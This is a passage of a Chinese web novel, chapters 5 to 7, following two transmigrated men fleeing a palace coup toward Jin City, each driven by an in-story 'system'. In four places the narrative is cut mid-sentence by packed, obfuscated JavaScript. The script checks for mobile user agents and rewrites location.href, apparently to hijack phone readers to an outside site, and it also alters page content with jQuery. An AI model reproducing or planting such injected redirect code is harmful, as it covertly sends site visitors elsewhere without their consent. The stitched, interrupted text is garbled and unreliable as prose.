能够考得上南科大,今后怎么说也是个国之栋梁。 是个虽然有点凶,但称得上好人的人。 他真的要杀掉宋澜安吗? 正在胡思乱想着,江序行忽然瞥见了那把短刀,就被宋澜安压在枕下,此刻已经露出一角,只要轻轻一拨就能落到自己手中。 鬼使神差的,他伸出手,想要抽出短刀,然而手甫一伸出去,就被一把握住了。 江序行:“!” 完了,偷东西被当场抓包。 江序行大脑极速运转,思索着要怎么狡辩比较好,话都已经溜到了嘴边,这才发现有些不对劲。 宋澜安双目紧闭,并没有转醒的迹象,只是下意识抓住了他的手,除此之外就再也没有其他的动作了。 没醒? “呼……” 江序行泄了气,也不敢再有非分之想了,打算抽回手之后老老实实睡觉,但是根本抽不回来…… 喂,别对别人的手占有欲这么强啊! 江序行试了几次都没能成功,最后一次动作大了些,宋澜安眉心也跟着皱了起来。 吓得江序行直接不敢动了。 似乎陷入了梦魇,宋澜安睡梦中的面色也难看起来,江序行挣扎无果,也只能顺着这个姿势躺下来,被迫侧过身体,对着宋澜安。 宋澜安睡得极不安稳,眉头越皱越深。 江序行思绪到处乱飘,见他上衣破损得乱糟糟,目光不由得下滑,落在宋澜安的腰背上。 刚穿越过来的时候,他可是亲手摸过宋澜安的腹肌,不由得感叹,身材可真好! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030970|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不像他…… 江序行低头看了一眼六皇子这单薄消瘦的身体,似乎一阵风就能吹倒。 别说腹肌了,感觉他整个人都摇摇晃晃的,肋骨戳得人直疼! 认命般低叹了一口气,江序行躺了下来,与宋澜安并肩。 以为今夜就要这么睡了,这时候,手腕上的力度一松,宋澜安又将他给放开了。 慌乱间,江序行迅速收回了手,再不敢越雷池半步,秒闭上双眼。 身边宋澜安的呼吸声低沉规律,没过多久,江序行也跟着缓缓沉入了睡梦中。 翌日清晨。 江序行醒来,下意识看向身边的位置,宋澜安已经不在了。 睡意瞬间消散,他一骨碌从床上坐起来。 宋澜安该不会是趁自己睡觉,偷偷跑了吧? 动作太大,晃得木床吱呀作响。 宋澜安刚披上雪白的新里衣,冷脸走过来看向江序行:“你要把床拆了?” 见宋澜安没有离开,江序行一颗心放回到肚子里,目光流转在他的衣服和裸露出来的肌肤间。 随后讪笑一声:“没事,就是做噩梦了。” 江序行尴尬地避开视线,宋澜安似乎也意识到了什么,将扣子系好,面色微沉:“起来换衣服,一会儿我们出城。” 江序行这才注意到床脚处放着一套新衣裳,原来宋澜安没打算把自己丢下,眉眼间充斥着雀跃,连忙答应下来。 江序行迅速换好了新衣裳,衣裳有点大,粗布磨得锁骨也不太不舒服,但好歹是不用穿着昨日那身染着血渍、又浸过雨水的脏衣服了,他也没什么好挑剔的。 抬眼望去,宋澜安也已经换好了衣裳,站在门前。 目光触及的瞬间,江序行不由得愣了下神,同样是粗布麻衣,挂在宋澜安身上,竟能瞧出些贵气来。 “这里不宜久留,我们现在就走。” 天色熹微,两人上了路。 店小二仍旧无精打采地靠在门边,连二人的离去也毫无察觉。 宫中丢了一个皇子、一个质子,必定会四处搜寻,方才那个客栈地处偏僻,但距离皇城还是太近,若是有人马搜寻至此,定会很快抓到他们。 “所以我们到底要去哪儿?”江序行直到现在都对宋澜安的计划一无所知,而宋澜安却抢走了他所有银子。 虽然目前来看,宋澜安没有抛下自己的意思,但江序行心中还是忐忑。 “从这边越过山坳,去锦城。”宋澜安终于开口。 江序行一脸茫然。 原主整日待在宫中,对外面一无所知,即便他拥有原主的记忆,仍然不知道锦城是什么地方。 看出他的疑惑,宋澜安道:“锦城,是距离皇城最近的城池之一,也是当今燕王的皇兄,镇北王江陵川的属地,称得上富庶。不过镇北王与燕王年少不合,因此很少被传召进京……” 江序行听得云里雾里,认真思考之后,他真挚地提问:“这好像是我这具身体原主的家事,你怎么比他还了解?” 宋澜安冷笑:“只能说明他太蠢。” 江序行:“……” 5. 逃亡 05 江序行无法否认。 毕竟听完了宋澜安的话,他都没能在记忆中找到关于镇北王的信息。 他们可是血脉相连的亲叔侄,头一次听闻,居然是从敌国质子的口中,真是有点讽刺啊。 昨夜的暴雨将山林小径冲得一片泥泞,但空气中弥漫着一阵清新的草木气息,令江序行的心情好了些许。 不知走了多久,头顶的日光逐渐变得炽热,江序行伸手摸了摸瘪下来的肚子,又觉得不太好了。 “宋澜安,我饿了。”他眼巴巴地看着宋澜安。 前面的人转头一瞥,丢下两个字:“忍着。” 江序行:不嘻嘻。 不过这一路走来,他似乎确实有点多事。 江序行反省了自己一秒,最终还是敢怒不敢言,只能紧紧跟着。 他运气还算不错,两人刚走出去几步,便看到不远处山脚下,有一家早点摊子。 热腾腾的水蒸汽飘散在半空中,江序行的肚子也在看到摊子的同时,非常合时宜地“咕噜”了一声。 听到这声音,宋澜安停住了脚步。 江序行不敢多话,只伸出两根手指捏住了宋澜安的衣角,余光忍不住往摊子那边儿暼,暗示得十分明显了。 宋澜安其实也有些饿了。 小笼包的面碱香气笼罩着嗅觉,勾得人饥肠辘辘,而江序行又在他边上可怜巴巴地叫唤:“宋澜安,就吃个饭的功夫,不会出事的。” 【叮咚,任务已刷新:打脸早点摊主,成功即可获得神秘大奖!】 与此同时,系统也忽然冒了出来。 宋澜安稍作思索。 一个普通小商贩,和客栈掌柜差不多,能刷出来的奖励必定也不怎么丰厚。 昨日丢脸的情境仍旧历历在目,若非必要,宋澜安还是想用体面一点的方式。 似乎知道宋澜安心中在想些什么,系统连忙劝道: 【宿主,你不能这么想啊!就算是普通池子也能抽出SSR,万一呢!】 【如果又是一杯奶茶呢?】 宋澜安反问。 【这个嘛。】 系统也不能保证。 不过显然,就算宋澜安不想过去招惹这个麻烦,麻烦也主动找上门了。 或许是因为江序行看着早点的目光过于直白,似乎下一秒就会流出口水,早点摊主目光扫过他们两个的衣着,便露出嫌恶:“吃不起就快走,别挡在这里,影响了我的生意!” 【宿主,多么好的打脸机会,冲呀!】 宋澜安:“……” 被摊主莫明呵斥了一番,江序行也有些委屈,但谁让他们两个的钱都被宋澜安管着。 他也只能转头盯着宋澜安,却见那张向来平静无波的脸上露出了一丝挣扎的神情。 不知道为什么,江序行总觉得,其中还夹杂了几分视死如归。 下一刻,耳边传来男人凉薄的一声冷笑:“呵。” 江序行:“?” “不就是包子吗,给我来十屉!”宋澜安把金叶子拍得作响,“狗眼看人低,下次别看走眼,招惹了不该招惹的人!” 【宿主威武!】 得了,又被下降头了。 江序行在一边憋笑,而早点摊主大为震惊,即便看着金叶子十分眼馋,却还是再度确认了一下:“二位……真的能吃十屉包子吗?” 系统迟迟没有给奖励,宋澜安面无表情:“你在瞧不起谁?” 摊主倒是没这个意思,就是担心他一会儿后悔,听到了确切的回答,他乐不迭将金叶子收下,找了碎银递过来:“那两位快坐,我现在就去拿!” 说完,臃肿的身影就转过去端包子了。 【系统奖励已到账!】 宋澜安并未感觉到自己身上平白多了什么,正疑惑着,系统跳出来解释。 【这一次宿主抽中的奖励,是1点体力值。】 【有没有感觉到疲倦缓解了一些呢~】 宋澜安现在只想把这个贱嗖嗖的声音拉出来捏死。 【哎呀,宿主不要这么暴力嘛,人家也是会害怕的嘛!】 宋澜安选择不搭理他,摊主已经端来了十屉包子,还十分贴心地赠送了两碗豆浆。 江序行不客气地端起来喝了一口,随即双眸弯了起来。 温热鲜甜的液体涌过喉腔,有些疲倦的身体立即得到了缓解,江序行一时间也顾不上其他了。 小包子个个皮薄馅大,虽然摊主做人不太友善,但做包子确实一绝,江序行不自觉就吃了五六个。 不过距离吃完十屉…… 也还是遥遥无期。 “下一次,咱还是选择一个不那么费钱的方式吧。”江序行侧过身,委婉提醒。 江序行并不完全知道宋澜安为什么要这么装杯,但显然,他时不时的反常并非出自本意。 即便如此,看着金灿灿的叶子被拍出去,江序行还是觉得隐隐肉疼。 他们可就这么点银两! 要是在花完之前还没寻到生计,别说是完成任务了,恐怕他们饿都要饿死。 【等等,宋澜安要是饿死了,我是不是也能回去?】 系统毫不留情地提示: 【不可以。】 【宋澜安必须死在宿主的手中,才可算作完成任务。通过其他方式导致任务目标死亡,宿主将永远留在书中。】 江序行原本还想着,要是能走这条捷径,他就不用做这个恶人了,现在看来,是行不通的。 最终,江序行和宋澜安也只勉强吃了两屉包子,剩下的都被江序行赠予了路边行乞的人。 前夜的大雨冲刷了他们的草棚,这些人个个都瞧着十分可怜,争抢包子时,一双双浑浊的眼瞳中写满了麻木。 那是一种生存的本能,迫使他们一个个朝着江序行伸出了手,狼吞虎咽地将包子往嘴里塞,似乎晚一刻便会饿死。 江序行心中不禁生出一丝怜悯。 “你帮不了他们。与其怜悯他人,不如先担忧一下自己的安危。” 听到宋澜安堪称无情的话,江序行皱起眉,想要反驳两句,然而话到嘴边溜过一圈,他得声音弱了下去:“要不是某人忽然发疯,买了这么多包子,也没有我装滥好人的机会。” 宋澜安脸色黑了些,深邃的双眸中透着一股危险的气息:“想死?” 江序行皮笑肉不笑地摆了摆手:“不想不想。” 宋澜安起身,观望了一眼天色:“饭也吃了,我们该上路了。” 语气深沉,江序行心说,这话听上去未免有些不吉利。 对上宋澜安黑白分明的双眸,他又将话头咽了下去,感觉自己说出来“不吉利”这三个字,就又会被宋澜安凶一顿。 “那你等我上一下茅房,”江序行捂着肚子,“反正都已经在这儿呆了一会儿,也不差再呆一会儿了。” 宋澜安默默攥紧了拳头,又松开。 算了,还是稍作忍耐一下吧。 过了一会儿,起了一阵微风,头顶飘来几朵云,挡住了日光,宋澜安坐在一旁的木凳上,渐渐有些不耐烦。 他站起来,走到一个乞丐面前:“你看到刚才那个给你们包子的公子,往哪儿去了吗?” 宋澜安本就身量高大,此刻不苟言笑的模样把乞丐吓了个够呛。 刚才那个小公子看上去还温温和和的,虽然有些吊儿郎当,但能看得出是个好人。 眼前这位……简直如同煞星。 “好像是往那边去了。”乞丐颤颤巍巍伸出手指了个方向,只觉得身边略过一阵冷风,眼前的男人便消失不见了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030971|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋澜安当然不觉得江序行会跑。 这么长时间都没有回来,说不准是出事了。 【其实宿主不用管江序行,他只不过是乱入进来的,对您的主线任务影响不大。】 系统劝告道。 宋澜安只淡淡回了一句“闭嘴”,就继续朝乞丐指的方向找去。 走出一段距离,另一侧官道上忽然出现了一行人马,宋澜安见他们衣着打扮上好,猜测应该是从京城来的商贾,于是迅速躲了起来。 “听说现在皇宫那边,已经被越国的奸细给控制了,趁着现如今锦城还没得到消息,紧闭城门,咱们得快些去那边避难。” 前面的人骑着高头大马,说到这里也是怨声载道:“好端端的,怎么就让越人得了逞?我在京中的四栋宅子,恐怕是难以出手喽!” 他身侧的另一个人不禁调侃道:“宅子算什么?留得青山在,不怕没柴烧,只可惜宫中那些皇子,恐怕是一个都逃不掉了。” 听到宫变的相关消息,宋澜安一时间也忘了自己是要去找江序行,躲在暗处听着几人的对话。 忽然,不远处传来一阵喧闹声:“前面的,停下!” 来者声若洪钟,宋澜安偷偷看了一眼,只见一群身着飞鱼服的人,将商队围了个水泄不通。 依照原主的记忆,宋澜安很快想起。 他们都是越国的锦衣卫,只听命于越王,如今却明目张胆地出现在了燕国皇都脚下,可见那这几人所言不虚。 燕国皇宫已经被越国人控制住了。 “官,官老爷,我们可都是良民啊!外出经商,应当没有犯哪条律法吧?”骑马的人滚落下来,跪倒在几人面前,满脸艰苦。 锦衣卫首领纵马而下,走到那人面前,手中高举一张画卷,眯起的双眼满是压迫感:“你们几个可曾见过画中人?” 宋澜安余光瞥向纸上的画,正是江序行。 “这……小的未曾见过。” “若是你们胆敢欺骗本官,本官必定让你们死无葬身之地!” 锦衣卫首领的话,让面前的商人身体如同筛子一般抖了抖,不过他确实对这张脸没有印象,于是摇了摇头:“草民当真不知。” 锦衣卫收了画像:“好吧。” 商人松了一口气,匆匆爬上马。 忽然,“唰——”一声。 抽刀的声音在一片寂静之中格外明显,下一刻,首领幽幽一笑:“真是抱歉,虽然你未曾见过此人,但既然已经见过了此画,还是要抹净了,才稳妥。” 不等商人反应,这一刀已然抹了他的脖子。 旁边的几人接连发出尖叫,但很快便被锦衣卫一个个全都抓住,一刀一人,效率极快。 不足半柱香的时间,官道成了一片尸山血海。 宋澜安的位置十分隐蔽,待那些穿着飞鱼服的锦衣卫离开,他才现身。 心想必须要快点找到江序行,否则让刚才那伙儿人找到,后果只怕不堪设想。 然而刚一露头,又听到已经离去的锦衣卫众人,忽又折返回来。 马蹄声落入耳中,宋澜安四周张望了一番,想回到刚才躲藏的地方已经来不及了,只有附近一个草房勉强可以藏身。 于是宋澜安纵身钻了进去,一股臭味钻进鼻腔,他面目扭曲起来,透过门缝看向外面。 草房外,几个锦衣卫靠近了刚才宋澜安藏身的地方,四下搜寻,发现空无一人。 首领似笑非笑地转头看向一边的人:“你不是说,看到这里有人?” 那人也觉得奇怪,迟疑道:“或许……是我看走了眼。” 宋澜安屏气凝神,此时,身后忽然传来一阵窸窸窣窣的声响,他下意识地转过头,只见江序行正在慌忙提着裤子,一副不知要先喊流氓,还是要先提起来的茫然神情。 6. 分道 06 宋澜安的目光不禁顺着重点下移,刚触及一片白腻如瓷片般的肌肤,没来得及细瞧,就见江序行眼疾手快地捂住了自己。 “宋澜……”江序行刚要张口,宋澜安又眼疾手快地捂住了他的嘴。 “唔!”江序行羞愤欲滴,连耳尖都充斥着红意,拼命挣扎。 然而挣扎未果,宋澜安还将双臂都环绕了过来,将他整个人搂在怀中,紧紧禁锢着,目光犹如深秋的寒潭。 江序行:“……” 温度在挣扎之中不断攀升,宋澜安不耐烦地朝江序行比了一个“噤声”的手势,又继续警觉地看向外面。 外面……有人? 江序行反应过来,心中一惊,也停下了挣扎的动作。 可宋澜安的手仍是覆在他的嘴唇上,手劲丝毫未松。 江序行眼冒金星,被捂得有些喘不上气,于是在宋澜安的掌心上咬了一口,狭长的双眸瞪着他。 “放开,一点。”江序行从唇齿间挤出一点气声。 见江序行会意,宋澜安松开了些许,看着右手虎口处的牙印,深深皱起了眉。 这人是属狗的吗? 咬得又圆又深。 两人一起透过缝隙向外看,只见那首领轻抚了一下袖口的金丝暗纹,面色寡淡。 而他另一侧的人则立即会意,面无表情地抽刀,方才说话那人的人头,瞬间落地。 “不要做无用之事,否则耽搁了时间,下场犹如此人。” 一行人再次离去。 待他们消失在视线里,宋澜安才微微松了一口气,随即彻底松开了怀中的人。 江序行有些尴尬地蹲在茅厕上,转过半边身体,声音也跟着不自然起来:“你,你怎么跑这儿来了?” 非礼勿视,宋澜安别过眼:“以为你掉茅坑里面了,准备来捞。” 江序行更尴尬了:“刚才来得太匆忙了,忘记了带厕纸。” 其实他腿都蹲麻了,虽然尴尬,却也不得不开口求救:“宋澜安……” 宋澜安揉着太阳穴沉默转身。 “……” 片刻后,两个人体面地离开了茅厕。 刚才的场景实在难以言喻,江序行和宋澜安都默契地绕开了这个话题。 “对了,你刚刚是在躲什么?” 江序行见到宋澜安的时候确实慌张,不代表他毫无发觉。 “嗯。”宋澜安并未多说,拉着江序行转身就走。 “所以你刚才究竟看到什么了?跟我说说啊,别这么小气。” 宋澜安快步走在前面,并未吭声,现在的当务之急是快一点离开此处,虽然那些锦衣卫已经离开,但必定会在周围四处搜寻。 同他先前想得差不多,皇城中的富商都纷纷逃往锦城,说明锦城至少现在还是安全的,他们也只有到了锦城,才能暂时松一口气。 见宋澜安一味拉着自己往前走,江序行心中仍是一头雾水,却并未得到任何回应,心中也生出了些许火气。 他们同行的这一路,什么决定都是宋澜安自己做,自己什么都不知道,只能被动地接受安排。 这难道公平吗? 忽然间,江序行想念起自己的家人来。 他想回到原本的世界,不想在这个莫名其妙穿来的世界里无端遭受宋澜安的指责和摆布。 最讨厌的就是那个根本不可能完成的任务! 江序行眼底漫开水雾,越想就越觉得郁闷难过。 “你别拉着我,我自己会走。” 他将手抽了出来。 宋澜安侧过头去,看见江序行几分气性都写在脸上,眸中一片雾蒙蒙,顿时有些茫然。 他这是,哭了? 他惹着他了吗? 难不成是因为刚才在茅厕里,自己的举止太过唐突,所以被记恨了? 江序行,应该不至于这么小气吧? “看什么?”对上宋澜安打量的目光,江序行有些狼狈地抹了一下眼角,梗着脖子道,“我就是有些累了。” 宋澜安顿了顿,开口:“江序行,你该不会……是那个吧?” 江序行:“哪个?” “Gay。”宋澜安直接道。 江序行:“……” “如果是,”宋澜安说,“那我给你道歉。” 听到如此语出惊人的话,江序行心中的愤懑都消散了几分,怒瞪着宋澜安:“你说什么呢?你才是gay呢,故意偷看别人上厕所!” 宋澜安神情不改:“那你生什么气,就看了一眼而已。” 江序行:“?” 你要不要听听你在说什么? 看了,一眼,而已? 这么说你好像还挺遗憾? “要不然,我也让你看一下,就扯平了。” 宋澜安说完,自己都震惊了下。 怎么跟江序行呆久了,也变得癫了? “打住!”江序行瞬间觉得自己的后槽牙都有些痒了,心中升起一股无名火,“谁要看你那个了?” 真是坏人的百般算计,比不上蠢人灵机一动。 宋澜安的脑袋是真的没问题吗? 正无语着,前面不远处传来一阵烧饼的香气。 江序行抬眸,才发现他们不知不觉已经走到了一个村落,眼前是一条黄土铺成的长街,虽然算不上繁华,但至少已经远离了山野。 忽然间,听到烧饼摊主虚弱地喊了声:“有贼,咳咳!他偷了我的钱袋!” 摊主是个头发花白的老妪,手脚也不麻利,只见一个年轻小伙揣着钱袋转身就跑,江序行拔腿就要追上去。 【叮咚,任务已刷新:打脸偷钱袋的小贼,成功即可获得神秘大奖!】 宋澜安及时拦住江序行:“你站着,我去。” 一炷香后,宋澜安逮着小贼,手握着钱袋走了回来,小贼似乎受到了莫大的震撼,只消看一眼,江序行就联想到了什么。 该不会是宋澜安的中二病又犯了吧? 幸好没有让他听到。 “大娘,这是你的银子吧?” 老妪不住地点头道谢,见宋澜安和江序行要走,用油纸包了五个烧饼,给他们拿着路上吃。 一番折腾下来,已经快到晌午,两人干脆在烧饼摊上坐了下来,歇一歇脚。 刚才江序行在等宋澜安回来的时候,已经打听过,此处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030972|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名为黄山村,顺着小路再往走几十余里便能进城,刚巧旁边就有车夫可供驱使,不出意外,乘马车在两日内便能抵达锦城。 宫变的消息还未传到黄山村,锦城那边应该更不知情,一切都如同宋澜安所料。 “刚才,我遇到了越国的锦衣卫。”宋澜安并未隐瞒,将躲进茅房之前听到的话给江序行复述了一遍,并总结道,“越国的人在找你,你现在这个样子被他们抓去,应该只有死路一条。” 江序行瞬间明白了为什么宋澜安一言不发,只顾着带自己走了。 一时间他面如死灰。 我这任务难度,会不会太大了一些? 不仅要杀人,还得防备要杀自己的人,江序行已经麻了。 不过,先不说之后他有没有能力完成任务,目前来看,两人是同伴关系,信息共享还是十分必要的。 江序行绞尽脑汁回忆了一番:“我这身体的原主对皇宫中的事知之甚少,所以我也只知道,当今燕国太子与五皇子争端不断,燕王虽然病重,但性格多疑,也是一个玲珑多思之人。” “但是就算燕国再势弱,那好歹也是皇宫,若是越国真的已经控制了燕国,岂不是马上就要改朝换代?为什么还要派人寻找我一个不中用的皇子的下落?” 说到这里,江序行心中疑点重重。 可惜原主这脑袋里面空空如也,仅凭这么一点记忆,他是无论如何都拼凑不出真相的。 还有东宫走水那日…… 原主昏迷前隐约见到的黑影,究竟是什么人? 正在江序行胡思乱想之际,面前的桌子上忽然落下一个钱袋子。 他回过神来,钱袋子的纹样他还记得,正是从侍卫阿七身上搜出来的,除了两片金叶子已经花掉之外,钱袋子反而鼓了一些,是先前充进去的碎银。 还有刚才打脸小偷得到的三文钱。 系统心虚地蹦了出来。 【三文钱好歹也是钱嘛,不要嫌少,三文钱都能买一个烧饼了!】 说完,它就沉寂下去装死了。 江序行有些疑惑地看向宋澜安:“你怎么忽然良心发现了?” 随后财迷般将钱袋子揣进了怀里,生怕宋澜安反悔一样。 宋澜安淡淡开口:“送你到锦城,我打算从水路去越国。燕国皇宫生变,疑点颇多,我又是质子身份敏感,贸然离宫恐怕早已引起猜疑。” “与其留在这里等着被燕国皇室的人发现,还不如回到越国,或许更安全一些。” “在黄山村,刚好分道扬镳。” 听宋澜安一句一句说完,江序行脸上的笑意顿时如同掉在地上的玻璃,碎了。 “你要走?” 那他的任务怎么办! 江序行双目失神地盯着宋澜安,片刻后,他像是忽然反应过来什么一般,紧紧抓住了宋澜安的衣袖:“宋澜安,你睡也睡了,看也看了,现在就不认账了,打算把我给抛下?” 江序行咬着牙,声音忿忿不平。 正在气头上,他也没顾上收敛嗓音,周遭的目光同一时间聚拢了过来,见是两个男子,皆露出质疑与惊讶的神情,纷纷指点起来。 宋澜安:“……” 7. 捆绑 07 宋澜安想过,他提出分开,江序行可能会高兴,也可能会生气,但没想到他的反应这么夸张。 宋澜安抽了一下袖子,没抽回来。周围的目光还未散,他只好作罢,不然动静太大好像坐实了自己是个渣男一样,只能从喉咙中发出警告:“不要胡说。” “我不管,反正我们两个是一起的,你得对我负责!”江序行直接搂住了宋澜安的胳膊,像块狗皮膏药似的牢牢贴着,撕也撕不下来。 看热闹的人越来越多,宋澜岸只好带着江序行走到一旁无人的树荫下:“江序行,你就不能成熟些?” 他并非不想带着江序行,只是两人的身份原本就有差异,更何况虽然江序行还算机敏,但性格与他不和。 他只是单纯觉得,江序行或许不适合与他同行。 谁料江序行一副被抛弃的样子,反而令宋澜安有些手足无措。 “我怎么就不成熟了?反正你要是想去越国,那我就也跟着你去越国。” “不行。”宋澜安直接否决,“你是燕国的皇子,去越国不就是送死?” “可是我现在留在燕国,不也照样要被那些豺狼虎豹觊觎?”江序行一双透亮的眼睛死死盯着宋澜安,“我不会给你惹麻烦,但是你不能丢下我!” 宋澜安眉心皱成了一个“川”字:“去了锦城你就不会有事了,我不是觉得你麻烦,只是分开走对你我二人都好。” “我不要!”江序行又抱得紧了一些,一副说什么我都不会听的模样。 半晌,宋澜安抬手,思索着将江序行敲晕送上马车的可行性,到时候在半路上醒来,就算发现自己已经离开,他也不得不接受现实。 恰在此时,一滴温热的液体毫无预兆地落在了他的手背上。 宋澜安后背微微僵住。 只见江序行抱着他的胳膊,眼尾赤红,泪水顺着消瘦的脸颊一滴滴滑落,就如同一件精美脆弱的瓷器,容不得他再说一句拒绝的话。 “宋澜安,你带上我吧,我绝不添乱!” “我还会保护你的,你能不能不要抛下我?” 江序行的泪,三分假意,七分真挚。 若是真的放任宋澜安回到越国,以如今燕、越两国争端不断的境况来看,只怕他们后半生都不复相见。 那自己岂不是永远都不能回家了? 一时间,江序行觉得自己有点坏。 泪是自己的,他却妄图以此来打动宋澜安,让自己留在他的身边。 再待到某一日。 这泪水化为锋刀,落在他的心尖。 见江序行哭个不停,宋澜安微微屈了一下手指:“你别哭了。” 江序行却抽噎起来,哭得反而更凶了,鸦羽般的睫毛都被打湿。 宋澜安不太自然地,用另一只还能动弹的手,拍了拍他的后背,终究一声叹息:“我先和你一同去锦城,至于其他的……到时候再说。” 这已经是他最大限度的妥协了。 江序行立刻不哭了,变脸比翻书还快。 宋澜安:“……” 一炷香过后,宋澜安和江序行上了烧饼摊主推荐的马车。 为了避免意外,马车连夜上路,第二日上午便能抵达锦城。 花了二两银子,马车内还算宽敞。 虽然宋澜安已经答应了不会提前离开,但江序行大概感觉得到,那不过是他的权宜之计,是为了哄自己。 所以江序行一刻也不敢松懈,始终跟他贴得紧紧的。 宋澜安凝视着一会儿这个有些烦人的粘豆包:“江序行,那半边马车是给鬼留的吗?” 而下一秒,江序行在他的注视下,没有半分心虚地从怀里抽出了一根麻绳:“为了防止你趁我不备偷偷逃跑,我们还是拴在一起比较好。” 江序行的右臂还带着伤,系了半天,才勉强将两个人栓到了一起,似乎还有些不放心,于是强撑开了宋澜安的手心,与他十指相扣。 宋澜安:“……” 这是直男能想出来的姿势? 江序行十分满意,牢牢贴住宋澜安,这样就算是自己睡死了,只要宋澜安妄图离开,他必然能够发觉,点点头道:“行,这样我就放心了。” 宋澜安:“……” 他不喜欢与人挨得太近,但今天的江序行实在难缠,为了给自己减少点麻烦,便没有反抗,由着他了。 离开黄山村时,天色渐晚。 乘马车实在不如想象中那么舒坦,颠了一会儿,江序行就有些反胃。 他掀开帘子看向窗外,换了一口气,看着赤金色的天幕渐渐落下,心中隐隐生出了些许期待。 也不知锦城会是什么样子,到时候会不会有许多好吃的。 “不晕了就回来。”宋澜安淡淡的声音飘过来,“若是被锦衣卫发现,别说是锦城,今夜恐怕我们走不出这片林子。” 江序行手一抖,讪讪撂下帘子。 虽然宋澜安的话有些不好听,但事实确实如此,后面还有追兵,为了自己这条宝贝的小命,还是谨慎一些比较好。 “那要是到了锦城,发现那边也已经被越人控制,我们开怎么办?”想到这里,江序行就有些蔫,“一穿过来就无家可归,我这皇子当得也太憋屈了。” “不要想那么长远的事。兵来将挡水来土掩,现在想太多除了让自己担忧之外,没有任何用处。” 宋澜安的语气冷得没有温度,但话确实有道理。 江序行迫使自己不要再想这些事,然而胃中一片翻江倒海,他最终还是妥协了,决定在马车上睡一觉。 临闭眼前,江序行不忘警告了一下宋澜安:“你要是真的趁我睡着跑了,我就算是追到天涯海角,都肯定会把你给追回来的!” 宋澜安:“……” 旁边人没了动静,他偏过头去,凝视着江序行的侧颜。 江序行给他留下的第一印象,就是漂亮。 或许用这个词来形容一个少年,有些太过女气,但宋澜安一时间也找不到更加贴切的形容词。 不说话的时候,江序行就如同一块温润的玉,连半分瑕疵都找不见。 说话的时候…… 还是别说话了。 宋澜安面无表情地想。 明日到了锦城,免不了一番周折,思及此,宋澜安也转回头闭上了眼睛,准备眯一会儿,留着精力面对明天。 忽然,肩膀一沉。 马车颠簸在所难免,江序行睡着睡着,脑袋就偏到了一边,睡梦中皱着眉给自己找了个合适的角度,才再度安稳睡去。 感觉到肩头的重量,宋澜安无语一瞬。 分道扬镳的事,还是等把江序行送到锦城后,再提一次吧。 翌日清晨。 江序行朦朦胧胧地睁开眼,还未完全苏醒,便下意识先看了一眼自己同宋澜安绑在一起的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030973|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 十指交叠,旁边的人也还在。 江序行也松了一口气,意识到自己整个人都紧紧靠在宋澜安的身上,心中才忽然生出几分别扭。 他先是在宋澜安面前掉眼泪卖惨,后是拉着人家的手睡了一整夜,江序行这点微薄的面子,算是在旦夕之内丢了个彻底。 不过在回家和面子之间,他还是选择回家。 “你醒了?”头顶传来宋澜安的声音,听上去十分清明。 江序行触电般松开他的手,意识到宋澜安可能早就醒了,他有些尴尬地清了清嗓子,随便应了一声,然后给两个人的手臂“解绑”。 “我们现在到那儿了?”江序行转移话题。 话音甫一落下,一阵清风刚好吹开窗边的帘子,江序行顺着掀开的一角看向马车外,眼前的景色已经全然陌生。 “小公子,咱们已经到锦城地界了,此处还有些偏远,估摸着再有半个时辰,我们就能进城了!”车夫在外面搭话。 连日来的阴霾终于被马车外的阳光代替,江序行深吸了一口气。 如车夫所说,不到半个时辰,外面就逐渐传来了喧闹声,江序行这次学聪明了些,只掀起一点帘子向外看去,只见巍峨的城门气派不凡,上书遒劲有力的两个大字: 锦城。 他们到了。 “前面就是锦城了,马车若想入内,需得提前办理文牒,所以鄙人也就只能送两位公子到这里了。”车夫将马车靠在一旁,随后感到奇怪,“虽然平时锦城这城门前也是来来往往络绎不绝,不过今日的人好像格外多。” 宋澜安与江序行对视了一眼。 不必多说,这些人必然是从皇城逃难来的,连车夫都能一眼看得出来,恐怕很快就会引起城中掌权者的注意了。 宋澜安推了推江序行:“先下车。” 江序行点点头,前一步跳下了马车。 